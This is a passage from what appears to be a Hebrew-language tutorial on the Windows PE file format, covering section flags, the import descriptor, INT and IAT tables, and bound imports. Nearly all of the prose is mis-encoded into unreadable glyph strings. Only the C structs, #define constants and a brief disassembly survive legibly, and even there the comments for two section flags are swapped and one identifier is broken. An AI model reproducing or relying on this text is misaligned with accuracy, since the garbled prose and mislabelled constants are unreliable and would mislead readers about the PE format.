FileAlignment  ˞ˣˢ 0x200 ˪˷ ˪ˡˣˠ˟ ˫˧ˮˣ˸ˮ ˸ˣˬ˩ ˣˮ˪ ˷˧ˣ0x100 ˢ ,˭˩˪ .˫˧˸˟-Linker  ˟ˣ˸˩˪ ˨˶˦˴˧

 ˳˟ˣ˵˪0x100  ˡˣ˰ ˱˧˯ˣˢ˪ ˭˩ˬ ˶˥˞˪ˣ ˫˧ˮˣ˸ˮ ˪˷ ˫˧˸˟0x100 ) "ˡˣ˲˧˶" ˪˷ ˫˧˸˟Padding ˶˷˞˩ .(

Misc.VirtualSize ˬ ˶˸ˣ˧ ˭˦˵-SizeOfRawDataˢ ,-Loader  ˧ˮ˞ ˪˰ˣ˲˟˷ ˢ˞ˣ˶ ˧ˮ˞ ,˧˧˵ˣ˞" :ˡ˧ˠˢ˪ ˢ˯ˮˬ

 ˸ˣ˴˵ˢ˪ ˨˧˶˴0x100  ˞ˣ˶˵˪ˣ ˭ˣ˶˩˧ˤ˪ ˫˧˸˟0x100 ˸ˬ ˫˧ˮˣ˸ˮ ˪˷ ˫˧˸˟."˵˯˧ˡˢ ˨ˣ 

Characteristics :˞ˬˠˣˡ˪ ,˱ˠ˞ˢ ˪˰ ˰ˡ˧ˬ ˣˮ˪ ˭˸ˣˮ 

#define IMAGE_SCN_CNT_CODE               0x00000020 // Section contains code.  

#define IMAGE_SCN_CNT_INITIALIZED_DATA   0x00000040 // Section contains  

                                                       initialized data.  
#define IMAGE_SCN_CNT_UNINITIALIZED_DATA 0x00000080  // Section contains  

                                                 uninitialized data.  
#define IMAGE_SCN_MEM_DISCARDABLE        0x02000000 //  Do not cache this section  
#define I MAGE_SCN_MEM_NOT_CACHED         0x04000000  // Section can be discarded.  
#define IMAGE_SCN_MEM_NOT_PAGED          0x08000000 // Section is not pageable.  
#define IMAGE_SCN_MEM_SHARED             0x10000000 // Section is shareable.  
#define IMAGE_SCN_MEM_EXECUTE            0x20000000  // Section is executable.  
#define IMAGE_SCN_MEM_READ               0x40000000  // Section is readable.  

#define IMAGE_SCN_MEM_WRITE              0x80000000 // Section is writeable.  

,˟ˠ˞ ˢ ˪˷ ˸ˣˡ˷ˢ ˶˞˷ ˧˟ˠ˪ ˢˬ ˫˸˧ˢ˸ ˫˞-SECTION_HEADER )PointerToRelocations ,

PointerToLinenumbers, NumberOfRelocations x-NumberOfLinenumbers ,( ˫ˢ˟ ˢ˷˰ˮ ˞˪ ˫ˣ˧˩

.˷ˣˬ˧˷ 
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˞ˣ˟˧˧ ˢˬ-PE )PE Imports( 

ˢˬ ˞ˣ˟˧˧ ˪˰ ˶˟ˡˮ˷ ˧ˮ˲˪-PE) ˧ˬ˞ˮ˧ˡˣ ˧˦˞˦˯ ˶ˣ˷˧˵ ˪˰ ˭ˣˡ˪ ˨˶˦˴ˮ ˣˮ˥ˮ˞ ,Static Linking VS Dynamic 

Linking.˫ˢˮ˧˟ ˪ˡ˟ˢˢˣ ( ˟ ˫˧˷ˬ˸˷ˬ ˣˮ˥ˮ˞˷˩˶ˣ˷˧˵ ˧˦˞˦˯ ˸ˣ˧˴˵ˮˣ˲ˢ ˪˩ ˪˷ ˵˸ˣ˰ ˫˧˪˪ˣ˩ ˣˮ˥ˮ˞ ,

 ˳˟ˣ˵) ˧˞ˬ˴˰ˣ ˪ˣˡˠ ˧˶˞ˮ˧˟ ˳˟ˣ˵ ˫˧˶˴ˣ˧ˣ ˣˮ˶˴˧˷ ˳˟ˣ˵ˢ ˨ˣ˸˟ ˫ˢ˟ ˫˧˷ˬ˸˷ˬ ˣˮ˞˷ ˶ˤ˰.exe  (˞ˬˠˣˡ˪

˪˰ ˫˧˶˥˞ ˫˧˴˟˵˟ ˧ˣ˪˸ ˞˪ ˶˷˞-.˳ˣ˶˪ ˸ˮˬ ˟ ˫˧˷ˬ˸˷ˬ ˣˮ˥ˮ˞˷˩˶ˣ˷˧˵ ˧ˬ˞ˮ˧ˡ ˫˧˟˧˴ˬ ˣˮ˥ˮ˞ ,

˸ˣ˧˴˵ˮˣ˲˪ ˫˧˶˦ˮ˧˧ˣ˲  ˳˟ˣ˵ ˶ˣ˴˧ˮ ˣˮ˥ˮ˞˷ ˸˶ˬˣ˞ ˸˞ˤ .ˢ˴˧˶ ˭ˬˤ˟ ,˳˟ˣ˵˪ ˳ˣ˥ˬ ˸ˣ˞˴ˬˮˢ ˸ˣ˧˶˲˯ ˨ˣ˸˟

 .˳ˣ˶˪ ˧ˡ˩ (ˣˮ˪˷ ˳˟ˣ˵ˢ ˪˷ ˸ˣ˧˴˵ˮˣ˲ˢˬ ˵˪˥ ˫˧˪˪ˣ˩ ˶˷˞) ˫˧˶˥˞ ˫˧˴˟˵˟ ˧ˣ˪˸ ˶˷˞ ˶˸ˣ˧ ˭˦˵ ˧˶˞ˮ˧˟ 

 ˶˷˞ ˢ˴˧˶ ˳˟ˣ˵ ˸ˬˣ˰˪ ˶˸ˣ˧ "˥˲ˣˮˬ" ˞ˣˢ ˣ˸ˣ˞ ˶ˣ˴˧˪ ˪˧˟˷˟ ˧˦˞˦˯ ˶ˣ˷˧˵˟ ˣ˷ˬ˸˷ˢ ˶˷˞ ˢ˴˧˶ ˳˟ˣ˵

˷ˬ˸˷ˢ ,˧ˮ˷ ˡ˴ˬ .˳˟ˣ˵ ˱˞˟ ˧ˣ˪˸ ˞˪ˣ ˧˞ˬ˴˰ ˞ˣˢ ,ˡ˥˞ ˡ˴ˬ .ˣ˸ˣ˞ ˶ˣ˴˧˪ ˪˧˟˷˟ ˧ˬ˞ˮ˧ˡ ˶ˣ˷˧˵˟ ˣPatch-

) ˷ˡ˥ˬ ˫˸ˣ˞ ˣ˶˷˵˧˷ ˡ˰ ˧˦˞˦˯ ˶ˣ˷˧˵˟ ˣ˷ˬ˸˷ˢ˷ ˫˧˴˟˵ ˪˰ ˣ˪ˣ˥˧ ˞˪ ˸ˣ˧˶˲˧˯˪ ˫˧ˮˣ˵˧˸ ˣ˞ ˫˧Re-

link ˞˧˴ˣˢ˷ ˶˥˞˪ ˢ˟˶ˢ ˡˣ˵˟ ˸ˣ˷˪ˣ˥ ˫˧˴˟˵ ˫˸ˣ˞˟ ˸ˣ˧ˢ˪ ˪ˣ˩˧˷ ˶ˬˣ˞ ˢˤˣ (Patch ˞ ˸ˣ˷˪ˣ˥˪.ˣ˪ 

 ˸ˣ˞˟ˣ˧ˬ ˸ˣ˧˴˵ˮˣ˲˪ ˫˧˞˶ˣ˵ ˣˮ˥ˮ˞ ˶˷˞˩ ˶˴˧˧ˬ ˶˪˧˧˲ˬˣ˵ˢ ˧˪˟ˬ˯˞ ˢˤ˧˞ ˪˟˞ ,˸ˮ˩˸ˬ˪ ˱ˣ˵˷ ˢˤ ˶˟ˡ

 ˣˬ˩ ,˸ˣ˶˥˞ ˸ˣ˧˶˲˯ˬprintf() ˡˣ˵˟ ˷ˬ˸˷ˮ ?HelloWorld.c  ˯˧˲ˡˢ˪ ˢˤ ˢ˷ˣ˰ ˞ˣˢ˷ ˢˬ ˪˩˷ ˡˣ˵)

"Hello World ˢ˧˴˵ˮˣ˲ˢ ˨˧˞ ˭˧˟ˢ˪ ˧ˡ˩ ("printf("Hello World!\n") :˸˞˟ˣ˧ˬ 

004113BE 8B F4              mov         esi , esp   

004113C0  68 3C 57 41 00     push         41573Ch   

004113C5  FF 15 BC 82 41 00  call         dword  ptr  ds :[ 004182BCh]  

 
 ˸˟ˣ˸˩ˢ ,˧˪˟ˬ˯˞˟ ˫˧˞ˣ˶ ˣˮ˥ˮ˞˷ ˧˲˩˸˷ˠˡˣˬˢ ) ˸ˣ˞˟ˣ˧ˬˢ ˸ˣ˟ˣ˸˩ˢ ˸˪˟˦ ˪˰ ˢ˰˧˟˴ˬImport 

Address Table ˣ˞ ,IAT ˢ˧˴˵ˮˣ˲˪ ˞˶ˣ˵ ˡˣ˵ˢˣ (printf() ˢ ˨ˣ˸ˬ-IAT .ˢ˸ˣ˞ ˳˧˶ˬ ˭˩ˬ ˶˥˞˪ˣ 

 ˢˡ˷ˢ ˸˞ ˫˧˶˩ˣˤDataDirectory[16] ˢ ˨ˣ˸˟ ˞˴ˬˮ˷-OPTIONAL_HEADER ˭ˣˣ˧˩ˬ ,˫˩˪ ˧˞ˡ˩ ,˞˪ ˫˞ ?

.˶ˬ˞ˬˢ ˨˷ˬˢ˟ ˢ˟˶ˢ ˢˤ ˢˡ˷ ˸˞ ˶˧˩ˤˢ˪ ˨˪ˣˢ ˧ˮ˞˷  (˯˵ˡˮ˧˞) ˫ˣ˵ˬ˟ ˨˶˰ˢ ˤ˞1 ˟ ,˨˶˰ˬ˟-

DataDirectory[1]ˢˮ˟ˬ ˷˧ ,  ˞˶˵ˮˢ ˫˧ˮˣ˸ˮDIRECTORY_ENTRY_IMPORT ˶˲˯ˬ) ˨˩ ˢ˞˶ˮ ˞ˣˢ .6 

ˢ ˦ˬ˶ˣ˲ ˸ˮˣˬ˸˟-PE:( 

 

) ˸˧˪˞ˣ˦˶˧ˣ ˸˟ˣ˸˩ ˢ˧ˢ˧ ˫˪ˣ˩˟ ,˫˧ˢˤ ˢˤ ˨˶˰ˬ˟ ˫˧˩˶˰ˢ ˪˩˷ ˣ˶˩ˤ˸ ,˨˩˪ ˱˯ˣˮ˟RVA) ˪ˡˣˠˣ ("˲˰ s-

Struct ˫˷˟ IMAGE_DATA_DIRECTORY ˭˞˩˪ ˫ˡˣ˵ ˫˧ˡˣˬ˰ ˶˲˯ˬ ˣˮ˧˞˶˷.(  
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 ˪˷ ˭ˣ˷˞˶ˢ ˢˡ˷ˢDIRECTORY_ENTRY_IMPORT  ˞ˣˢRVA  ˧ˮˣ˸ˮ ˸˞ ˣ˟ ˞˴ˬˮ ˶˷˞ ˫˧ˮˣ˸ˮˢ ˢˮ˟ˬ˪

) ˞ˣ˟˧˧ˢImport Informationˢ ,ˢˤˢ ˢ˶˵ˬ˟ .˫˧ˮˣ˸ˮ ˢˮ˟ˬ ˣ˸ˣ˞ ˪˷ ˪ˡˣˠˢ ˞ˣˢ ˧ˮ˷ˢ ˢˡ˷ˢˣ (-RVA 

 ˫˧˞˶˵ˮˢ ,ˠˣ˯ ˣ˸ˣ˞ˬ ˫˧ˮˣ˸ˮ ˧ˮ˟ˬ ˢˬ˩ ˪˷ ˨˶˰ˬ˪ ˰˧˟˴ˬIMPORT_DESCRIPTOR  ˶˲˯ˬ)7  ˸ˮˣˬ˸˟

ˢ ˦ˬ˶ˣ˲-PE:( 

 

 

 ˣˮ˪ ˢ˧ˢ˧IMPORT_DESCRIPTOR  ˡ˥˞˪˩ ˶ˣ˟˰ ˢ ˪˷ ˢˤ ˨˶˰ˬ˪ ˞˶˵ˮ ˣˮ˥ˮ˞ .ˣˮˬˬ ˞˟˧˧ˮ˷ ˳˟ˣ˵-

IMPORT_DESCRIPTOR-˫˷˟ ˫˧ Import Descriptor Table ˣ˞ ,Import Directory˟ ˶ˬˠ˧ ˢˤ ˨˶˰ˬ .-

nullˢ˷ ˸˶ˬˣ˞ ˸˞ˤ ,- IMPORT_DESCRIPTOR  ˫˧˯˲˞ ˵˶ ˪˧˩˧ ˪˟˞ ,˶˞˷ˢ ˣˬ˩ ˪ˡˣˠ ˣ˸ˣ˞˟ ˢ˧ˢ˧ ˭ˣ˶˥˞ˢ

ˣˢˤ ˭˩˪ˣ ˟ ˶ˬˠˮˢ ˫˧ˮˣ˸ˮ ˪˷ ˨˶˰ˬ-null )A null-terminated array of data structures .( 

OriginalFirstThunk  ˞ˣˢRVA ) ˸ˣ˞˟ˣ˧ˬˢ ˸ˣˬ˷ˢ ˸˪˟˦˪ ˰˧˟˴ˬˢImport Name Table ˣ˞ ,INT .(INT 

 ˞ˣˢ ˨˶˰ˬ˟ ˫˧˩˶˰ˢ ˠˣ˯ .˳˟ˣ˵ˢˬ ˞˟˧˧ˮ ˣˮ˥ˮ˞˷ ˸ˣ˧˴˵ˮˣ˲/˸ˣˬ˷˪ ˫˧˰˧˟˴ˬ ˣ˪˷ ˫˧˩˶˰ˢˣ ˨˶˰ˬ ˞ˣˢ

Struct  ˫˷˟IMAGE_THUNK_DATA  ˢˡ˷˪ ˫˧˞˶ˣ˵ .(˨˩ ˶˥˞ ˣ˧˪˰ ˶˟ˡˮ)OriginalFirstThunk  ˭ˣˣ˧˩ˬ ˨˩

ˢ˷-INT  ˪˷ ˨˶˰ˬ ˞ˣˢStruct- ˠˣ˯ˬ ˫˧IMAGE_THUNK_DATAˢ ˪˷ ˢˤ ˢˡ˷ ,˭˩˪ .- 

IMPORT_DESCRIPTORˢ ˪˷ ˭ˣ˷˞˶ˢ ˨˶˰˪ ˰˧˟˴ˬ-INT. 
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FirstThunk  ˣˬ˩ ˞ˣˢOriginalFirstThunk˞˪ ˞ˣˢ˷ ˢˡ˟ˣ˰ˢˬ ˳ˣ˥ , RVA ˪ ˰˧˟˴ˬ˷-INT ˞ˣˢ ,RVA 

) ˸ˣ˞˟ˣ˧ˬˢ ˸ˣ˟ˣ˸˩ˢ ˸˪˟˦˪ ˰˧˟˴ˬ˷Import Address Table ˣ˞ ,IAT .(IAT  ˣ˪˷ ˫˧˩˶˰ˢˣ ˨˶˰ˬ ˞ˣˢ

ˢ ˪˷ ˸ˣ˧˴˵ˮˣ˲/˸ˣˬ˷˪ ˸ˣˬ˞ˣ˸ ˣ˪˞ ˸ˣ˟ˣ˸˩ .˳˟ˣ˵ˢˬ ˞˟˧˧ˮ ˣˮ˥ˮ˞˷ ˸ˣ˧˴˵ˮˣ˲ˢ ˪˷ ˸ˣ˟ˣ˸˩˪ ˫˧˰˧˟˴ˬ-

INTˢ .-IAT  ˠˣ˯ˬ ˫˧ˮˣ˸ˮ ˧ˮ˟ˬ ˪˷ ˨˶˰ˬ ˫ˠ ˞ˣˢIMAGE_THUNK_DATA. 

Name  ˵˶ ˞ˣˢRVA  ,˞ˬˠˣˡ˪ .˫˧˶˟ˡ ˣˮˬˬ ˫˧˞˟˧˧ˬ ˣˮ˥ˮ˞˷ ˳˟ˣ˵ˢ ˪˷ ˫˷˪ ˰˧˟˴ˬˢhal.dll ,ntdll.dll 

.'ˣ˩ˣ 

OriginalFirstThunk x- FirstThunk˫˧˰˧˟˴ˬ  ˪˷ ˨˶˰ˬ˪Struct- ˫˷˟ ˫˧IMAGE_THUNK_DATAˢ .-

Struct  ˶˲˯ˬ) ˨˩ ˢ˞˶ˮ8 ˢ ˦ˬ˶ˣ˲ ˸ˮˣˬ˸˟-PE:( 

 

˷ ˭ˣˣ˧˩ˬ- IMAGE_THUNK_DATA ˪˧˩ˬUnion ˸ˣˡ˷ˢˬ ˡ˥˞ ˸˞ ˵˶ ˸ˣ˧ˢ˪ ˪ˣ˩˧ ˞ˣˢ ,ForwarderString, 

Function , Ordinal  ˣ˞AddressOfData. 

 ˵˶ ˫˧˟ˣ˷˥ ˣˮ˪2  ˢˤ ˭ˣ˷˞˶ˢ ˢ˶˵ˬ˟ .˫˧˶˵ˬFunction ˪˞ ˶˦ˮ˧˧ˣ˲ ˫˴˰˟ ˢˤ˷ ,DWORD ˸˞ˤ ,˪˰ˣ˲˟ .

 ˢˤ ˧ˮ˷ˢ ˢ˶˵ˬ˟ .ˣˮ˞˟˧˧˷ ˢ˧˴˵ˮˣ˲ˢ ˪˷ ˸˟ˣ˸˩ˢAddressOfData ˫˞ .IMAGE_THUNK_DATA ˢ ˞ˣˢ-

IAT ,AddressOfData  ˫˞ .ˣˮ˞˟˧˧˷ ˢ˧˴˵ˮˣ˲˪ ˸˟ˣ˸˩ˢ ˢ˧ˢ˧IMAGE_THUNK_DATA ˢ ˞ˣˢ-INT ˢ˧ˢ˧ ˢˤ ,

 ˫˷˟ ˫˧ˮˣ˸ˮ ˢˮ˟ˬ ˪˪ˠ˟) ˣˮ˞˟˧˧˷ ˢ˧˴˵ˮˣ˲ˢ ˫˷ ˸˞ˣ ˶˲˯ˬ ˢ˧ˢ˧ ˣ˟˷ ˶˥˞ ˫˧ˮˣ˸ˮ ˢˮ˟ˬ˪ ˶˦ˮ˧˧ˣ˲

IMAGE_IMPORT_BY_NAMEˢ .(˨˷ˬˢ˟ ˶˟ˡˮ ˣ˧˪˰ ,-IAT sx-INT ˬ ˫˧ˮˣ˸ˮ ˧ˮ˟ˬ ˫ˢ ˠˣ˯

IMAGE_THUNK_DATA32 ˫˷˟ ˫˧ˮˣ˸ˮ ˧ˮ˟ˬ˪ ˫˧˰˧˟˴ˬ ˶ˣ˸˟ ˫˧˷˶ˣ˲ˬ ˫ˢˣ  IMAGE_IMPORT_BY_NAME .

 ˫ˢ ,˶˟ˡ ˪˷ ˣ˲ˣ˯˟AddressOfData. 

˟ ,˪˰ˣ˲AddressOfData  ˞ˣˢRVA  ˫˧ˮˣ˸ˮˢ ˢˮ˟ˬ˪IMAGE_IMPORT_BY_NAME ˫˧ˮˣ˸ˮˢ ˢˮ˟ˬ .

IMAGE_IMPORT_BY_NAME  ˶˲˯ˬ) ˨˩ ˢ˞˶ˮ9 ˢ ˦ˬ˶ˣ˲ ˸ˮˣˬ˸˟-PE:( 

  

Hint ) ˞ˣ˴˧˧ ˪˰ ˶˟ˡˮ ˶˷˞˩ ˨˷ˬˢ˟ ˢˤ ˪˰ ˶˟ˡˮ .˸˞˟ˣ˧ˬ ˢ˧˧˴˵ˮˣ˲˪ ˧˶˷˲˞ ˶˲˯ˬ ˭˧˧˴ˬExports ˪˟˞ ,(

.˫˷ ˸ˣ˰˴ˬ˞˟ ˫ˣ˵ˬ˟ ,˯˵ˡˮ˧˞ ˸ˣ˰˴ˬ˞˟ ˢ˧˴˵ˮˣ˲ ˷˲˥˪ ˨˶ˡ ˸˞ˤ ˢ˶˴˵˟ Name  ˨˶ˡ ˸˞ˤ ,˧ˮ˷ ˡ˴ˬ

 ˸ˤˣ˶˥ˬ ˞ˣˢ ,ˡ˥˞ ˸˧˟ ˪˷ ˨˶ˣ˞˟ ˞˪ ˢˤ ˢˡ˷ .˫˷ ˸ˣ˰˴ˬ˞˟ ˢ˧˧˴˵ˮˣ˲ ˷˲˥˪ASCII ˶ˬˠˮ ˶˷˞˟ ˸-null 

ˢ ˧˶˥˞ ˸˟˵ˣ˰ ˶˷˞-Hint ˪˷ ˨˶˰ˢ .Name  ˫ˠ ˸ˣ˧ˢ˪ ˪ˣ˩˧null. 
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ˢ ,˵˯˧ˡ˟-INT sx-IAT  ˪˷ ˨˶˰ˬ˪ ˣ˰˧˟˴˧IMAGE_IMPORT_BY_NAME ,˭ˣ˶˩˧ˤ˟ ˪˟˞ ,IAT  ˪˰ ˰˧˟˴˧

:˨˧˶˴ ˞ˣˢ˷ ˣˬ˩ ,˪˰ˣ˲˟ ˸ˣ˟ˣ˸˩ˢ 
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˱ˣ˯˟ ˨ˣ˸˟ ,DataDirectory[16] ˪ "˨˶ˡ ˶ˣ˴˧˵" ˷˧-IAT ˢ ˪˷ ˣˬ˴˰ ˯˧˯˟˪)-IAT˟ (- 

DataDirectory[12] ˞˶˵ˮ ˞ˣˢˣIMAGE_DIRECTORY_ENTRY_IAT ˶˲˯ˬ) ˨˩ ˢ˞˶ˮ ˞ˣˢ .10  ˸ˮˣˬ˸˟

ˢ ˦ˬ˶ˣ˲-PE:( 

 

-sRVA )VirtualAddressˢ ˪˷ ˢ˪˥˸ˢ˪ ˸ˣ˶˧˷˧ ˰˧˟˴ˬ (-IAT ˢ ˪ˡˣˠˣ-IAT  ˞ˣˢSize. 

 ˡ˰ˢ˩  ˞ˣˢ ˣ˧˪˰ ˶˟ˡˮ˷ ˞˟ˢ ˞˷ˣˮˢ .˫˧˧˪ˬ˶ˣˮ ˫˧˞ˣ˟˧˧ ˪˰ ˣˮ˶˟˧ˡBound Imports .Import Binding  ˸˞ˤ

) ˶ˣ˷˧˵ ˭ˬˤ˟ ˣ˟˴ˣ˧ ˢ˧˴˵ˮˣ˲ˢ ˪˷ ˸ˣ˟ˣ˸˩ˢ .˸ˣ˶˧ˢˬ ˪˷ ˢ˧˴ˬ˧˦˲ˣ˞ ˸˟ˣ˦˪ ˢˡ˰ˣˮ˷ ˢ˪ˣ˰˲At link time (

ˢ ˨ˣ˸˪ ˣ˯ˮ˩˧ˣ-IAT ˪˩ ˤ˞ ˢˮ˸˷˧ ˳˟ˣ˵ˢ ˫˞ .˳˟ˣ˵ˢ ˪˷ ˸ˣ˧˲˧˴˲˯ ˸ˣ˞˯˶ˠ˟ ˵˶ˣ ˨˞ ˢ˷˰˧ ˢˤ ˨˧˪ˢ˸ .

ˢ ˧˩˶˰-IAT  ˪˟˞ ,˫˧ˮˣ˩ˮ ˞˪ ˣ˧ˢ˧ˢˤ ˫˧˩˶˰ ˟˧˴ˢ˪ ˨˶˦˴ˮ ˣˮ˥ˮ˞˷ ˶ˬˣ˞ ˵˶  ˞˶ˣˮ ˨˩ ˪˩ ˞˪ ˢˤ ˤ˞ ,˫˧˷ˡ˥

 ,˸ˣ˶˥˞ ˫˧˪˧ˬ˟ .ˢ˪˧˥˸˪˩˪ˬ ˢˤ˟ ˫˧˷ˬ˸˷ˬ ˣˮ˧˧ˢ ˞˪˷ ˶˷˞ˬBound Imports  ˷˞˶ˬ ˧ˣ˪˧ˬ ˫˴˰˟ ˞ˣˢ

ˢ ˪˷-IAT .(˫˧˟ˣ˷˧˥ ˧˶˥˞) ˸ˣ˧ˢ˪ ˸ˣ˶ˣˬ˞ ˭ˢ˷ ˟˷ˣ˥ ˶˪˧˧˲ˬˣ˵ˢ˷ ˸ˣ˧˪˞ˣ˦˶˧ˣˢ ˸ˣ˟ˣ˸˩ˢ ˫˰  ˫˞

 ˤ˞ ˵ˡ˴ ˞ˣˢ ˫˞ ˪˟˞ ,ˢˤ ˸˞ ˭˵˸˸ ˢ˪˰˲ˢˢ ˸˩˶˰ˬ ,ˢ˰˦ ˶˪˧˧˲ˬˣ˵ˢ ˪˷ ˢ˧˴ˬ˧˦˲ˣ˞ ˭˞˩ ˣˮ˪ ˷˧

) ˞ˣ˴˧˧ˢ ˸˪˟˦˟ ˷˲˥˪ ˢ˩˧˶˴ ˢ˸˧˧ˢ ˞˪ ˢ˪˰˲ˢˢ ˸˩˶˰ˬ˷ ˭ˣˣ˧˩ˬ ,˸ˣ˶˧ˢˬExport Table ˢˤ ˪˰ ˶˟ˡˮ ,

.(ˢ˧˴˵ˮˣ˲ˢ ˫˷ ˸˞) ˸ˬ˧˧ˣ˯ˬ ˸ˤˣ˶˥ˬ ˶˥˞ (˨˩ ˶˥˞ 

ˢ ˨ˣ˸˟-IMPORT_DESCRIPTOR ˢˡ˷˟ ˨˶˰ˢ ,TimeDataStamp " ˪˪˩ ˨˶ˡ˟ ˞ˣˢ0 ˶ˣ˟˰ ˪˟˞ ,"Bound 

Imports ˣ˪˷ ˨˶˰ˢ " ˢ˧ˢ˧-1ˢ ˸˪˟˦ ."-Bound Imports ) ˫˧˞ˣ˟˧˧ˢ ˸˪˟˦ˬ ˸ˡ˶˲ˮ ˢ˧ˢ˸Import- (˫˧

" ˞ˣˢ ˢˡ˷˟ ˨˶˰ˢ ˫˞ .˫˧˪˧ˠ˶ˢ-1ˢ ,"-Loader  ˶˪˧˧˲ˬˣ˵ˢ˷ ˸ˣ˟ˣ˸˩ˢ ˫˞ ˵ˣˡ˟˧ ˢ˪˰˲ˢˢ ˸˩˶˰ˬ ˪˷

.˸ˣ˵˧˧ˣˡˬˢ ˸ˣ˟ˣ˸˩ˢ ˣ˪˞ ˞˪˧ˬ 

ˮˣ˲ˢ ˪˷ ˸ˣ˟ˣ˸˩ˢ .˞˪ ˣ˞ ˸ˣ˵˧˧ˣˡˬ ˣ˪˞ ˸ˣ˟ˣ˸˩ ˫˞ ˰˟˵˸ ˢ˧˪˰ ˶˟ˡˮ˷ ˢ˞˟ˢ ˢ˪˟˦ˢ ˸ˣ˶ˣˬ˞ ˸ˣ˧˴˵

 ˣ˪˷ ˸ˣ˧˴˵ˮˣ˲ˢ˷ ˸ˣ˧ˢ˪ ˪ˣ˩˧ ,˭˩ˡˣ˰ ˞ˣˢ ˫˞ .˶˸ˣ˧ ˢ˷ˡ˥ ˞˯˶ˠ˪ ˭˩ˡˣ˰ ˳˟ˣ˵ˢ ˭˩ ˫˞ ˞˪˞ ,˸ˣˮˣ˩ˮ ˸ˣ˧ˢ˪

 ˢ˞˟ˢ ˢ˪˟˦˟ ˷ˬ˸˷ˮ ˣˮ˥ˮ˞ .˳˟ˣ˵ˢ ˸˞˯˶ˠ ˪˰ ˰ˡ˧ˬ ˶ˣˬ˷˪ ˫˧˟˧˧˥ ˣˮ˥ˮ˞ ,˭˩˪ .˸ˣ˶˥˞ ˸ˣ˟ˣ˸˩˪ ˣˤˤˣˢ

˳˟ˣ˵ˢ ˫˞ˢ ˵ˣˡ˟˪ ˧ˡ˩ ˢ ˤ˞ ˞˯˶ˠ ˢ˸ˣ˞˟ ˳˟ˣ˵ˢ ˫˞ .˞˯˶ˠ ˢ˸ˣ˞˟ ˶˞˷ˮ ˣ˧ˢ˧ ˸ˣ˧˴˵ˮˣ˲ˢ ˪˷ ˸ˣ˟ˣ˸˩

.ˢ˪˟˦˟ ˸ˣ˟ˣ˸˩ˢ ˪˷ ˷ˡ˥ˬ ˧ˣ˪˧ˬ˟ ˨˶ˣ˴ ˢ˧ˢ˧ ˞˪ˣ ˸ˣˮˣ˩ˮ 
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 ˶ˣˤ˥ˮ ˸˰˩ ˪˞DataDirectory[16]ˢ ,-RVA  ˪˷DataDirectory[11]  ˧ˮ˟ˬ ˪˷ ˨˶˰ˬ ˪˞ ˰˧˟˴ˢ˪ ˨˪ˣˢ

 ˫˷˟ ˫˧ˮˣ˸ˮIMAGE_BOUND_IMPORT_DESCRIPTOR .DataDirectory[11]  ˶˲˯ˬ) ˨˩ ˢ˞˶ˮ11 

ˢ ˦ˬ˶ˣ˲ ˸ˮˣˬ˸˟-PE:( 

 

 ˪˷ ˨˶˰ˬˢIMAGE_BOUND_IMPORT_DESCRIPTOR-˫˧ ˟ ˫˧˧˸˯˧- IMAGE_BOUND_IMPORT_DESCRIPTOR 

˟ ˢ˷˰ˮ˷ ˣˬ˩) ˫˧˯˲˞˟ ˞˪ˬ-IMAGE_IMPORT_DESCRIPTOR:( 

typedef struct _IMAGE_BOUND_IMPORT_DESCRIPTOR {  

    DWORD   TimeDateStamp;  

    WORD    OffsetModuleName;  

    WORD    NumberOfModuleForwarderRefs;  

// Array of zero or more IMAGE_BOUND_FORWARDER_REF follows  
} IMAGE_BOUND_IMPORT_DESCRIPTOR, *PIMAGE_BOUND_IMPORT_DESCRIPTOR; 

 

typedef struct _IMAGE_BOUND_FORWARDER_REF {  
    DWORD   TimeDateStamp;  

    WORD    OffsetModuleName;  
    WORD    Reserved;  

} IMAGE_BOUND_FORWARDER_REF, *PIMAGE_BOUND_FORWARDER_REF; 

TimeDateStamp ) ˞ˣ˴˧˧ˢ ˧ˮˣ˸ˮˬ ˨˶˰ˢ ˞ˣˢExports Information .ˣˮˬˬ ˫˧˞˟˧˧ˬ ˣˮ˥ˮ˞˷ ˳˟ˣ˵ˢ ˪˷ (

˳˟ˣ˵ˢ˷ ˭ˬˤˢ ˞ˣˢ ˢˤ ˢˡ˷ˢ ˪˷ ˨˶˰ˢˣ ˣˮ˞˟˧˧˷ ˳˟ˣ˵ˢ ˸˞˯˶ˠ ˸˞ˤ ,˫˴˰˟ .˪˲ˬˣ˵ ˳˟ˣ˵ˢ ˶˷˞˩ ˭˩ˡˣ˰ 

OffsetModuleName ˢ ˞ˣˢ-Offset ˢ ˸˪˧˥˸ ˪˷- IMAGE_BOUND_IMPORT_DESCRIPTOR  .˭ˣ˷˞˶ˢ

 ˞ˬˠˣˡ˪ ,˞˟ˣ˧ˬˢ ˳˟ˣ˵ˢ ˪˷ ˣˬ˷ ˢ˧ˢ˧ ˣ˩˶˰SHELL32.dll ,KERNEL32.dll .'ˣ˩ˣ 

 ˪˷ ˨˶˰ˬˢIMAGE_BOUND_IMPORT_DESCRIPTOR ) "˸ˣˬ˧˷˶ ˯˵ˮ˲"˟Notepad.exe:( 

 


















































































